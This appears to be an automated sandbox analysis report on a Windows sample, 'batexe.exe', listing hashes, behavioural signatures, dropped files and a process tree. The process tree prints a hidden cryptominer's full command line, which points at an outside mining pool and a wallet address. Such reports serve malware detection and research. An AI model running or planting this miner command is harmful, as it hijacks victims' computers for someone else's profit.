73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
297s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
13/02/2024, 17:52

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
3520	b2e.exe
3896	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3896	cpuminer-sse2.exe
3896	cpuminer-sse2.exe
3896	cpuminer-sse2.exe
3896	cpuminer-sse2.exe
3896	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/660-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 660 wrote to memory of 3520	660	batexe.exe	74
PID 660 wrote to memory of 3520	660	batexe.exe	74
PID 660 wrote to memory of 3520	660	batexe.exe	74
PID 3520 wrote to memory of 2076	3520	b2e.exe	76
PID 3520 wrote to memory of 2076	3520	b2e.exe	76
PID 3520 wrote to memory of 2076	3520	b2e.exe	76
PID 2076 wrote to memory of 3896	2076	cmd.exe	78
PID 2076 wrote to memory of 3896	2076	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:660
- C:\Users\Admin\AppData\Local\Temp\B0F1.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\B0F1.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\B0F1.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3520
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\B4AA.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2076
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3896

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\B0F1.tmp\b2e.exe

Filesize
3.2MB

MD5
35d614acc52ac1f063676559357ef3a0

SHA1
38bb0f406b81b4c032d7958594010287638ecd96

SHA256
397dbf36993a3df62c00ff4c243d4fa121db1cedc849f2463fde7f4b6b8005d0

SHA512
0c20d72bef049a19448ff7864f4f57a113dcbaff81dad6c45b4073cddfb9e719f5053242d98d312263a7bec791a002f26c62a24b83fc755a5ee1f47a7f8427fb

Download Submit
C:\Users\Admin\AppData\Local\Temp\B0F1.tmp\b2e.exe

Filesize
2.8MB

MD5
ca75ee6b58b57b4f7c9fe221281d64c9

SHA1
9fb22a5d84ea3039044334129f9c44deaa4bbf47

SHA256
156f517127e8cc97188c5b347efe9d2a1f8723c1f699b2327262d911d83a2ee4

SHA512
9d0bc784dcee033e58c2c4ddeb888b9b35d16677677664d12b606dafdf234227d69fd71a80cb5566965d23055369b45acc4faae739959c5344fbff00fe30fdd7

Download Submit
C:\Users\Admin\AppData\Local\Temp\B4AA.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
64KB

MD5
e7317a0a343dc63f3fa3bf9ca6e93ff0

SHA1
0d48881feb76cf81fc46614bebfa3c134cada128

SHA256
277a43f17ccc4f0fba87c710212de61a41383bcb94410fa093b50ebd50347a63

SHA512
84ef51472db00cd4e90df3062a3cbc29a994c5cf470e54300d4a2f103ba8fb8279ec87b0561625ea1bccd80a7ad664c63457831b4eb919a7608099430b98a3d9

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.1MB

MD5
5649e8dabf664b55a1f1b96f62a6ba49

SHA1
3f6cbf36d861300f9029d03ab12fbe2f8f6b1026

SHA256
86f9fd7d3fe809f1b0c89df27f8539a69460d8ad49e79e5f3a1441dd8fdb362d

SHA512
c4833e0a6dca41a7af0ffdae2a98b5b504f8863d0bacc1221d4ef683b2ca210a4098b99956765f71aae0de8e7d0f076d0ec9297f7c6240b0937e4854cdb06a4f

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.6MB

MD5
ee3d71edce31ce47e4a027297b0c5a61

SHA1
070357da30e793b37c21170f4e1afc5bb5f27ae3

SHA256
bab3f21fe94d25a4506d3c0f3e6c8d2c00c5517b7fdd22dc4f759a37e45bbee9

SHA512
c3e6f45a203dae7141d9f80504705319e68061839e0b4220a6aee494e8148382eed0d9c6cf7a94cb3522422f9f1bf88693002bbb230dc166d5500dadbb1fae5c

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.3MB

MD5
cf31eeb9754390d2d235192b936aec14

SHA1
f9107a249e57a65a36ea97d23ab303b5f47a4ba5

SHA256
85ed620f3e21288ff33a6cf5b6528094745e60d454e258c7d825493774e0aef0

SHA512
0f7adb141a3b1f7ea34e3bfeabb818aa9e2503939ecdb4efd121d2163d756ea4f65185b00f7874fbe1e595aee6bda043e5db0c643f8d19e482f540234d2d2b0d

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/660-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3520-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3520-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3896-43-0x00000000702F0000-0x0000000070388000-memory.dmp

Filesize
608KB

Download
memory/3896-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3896-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3896-44-0x0000000001110000-0x00000000029C5000-memory.dmp

Filesize
24.7MB

Download
memory/3896-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3896-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3896-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3896-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3896-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3896-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3896-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3896-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3896-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download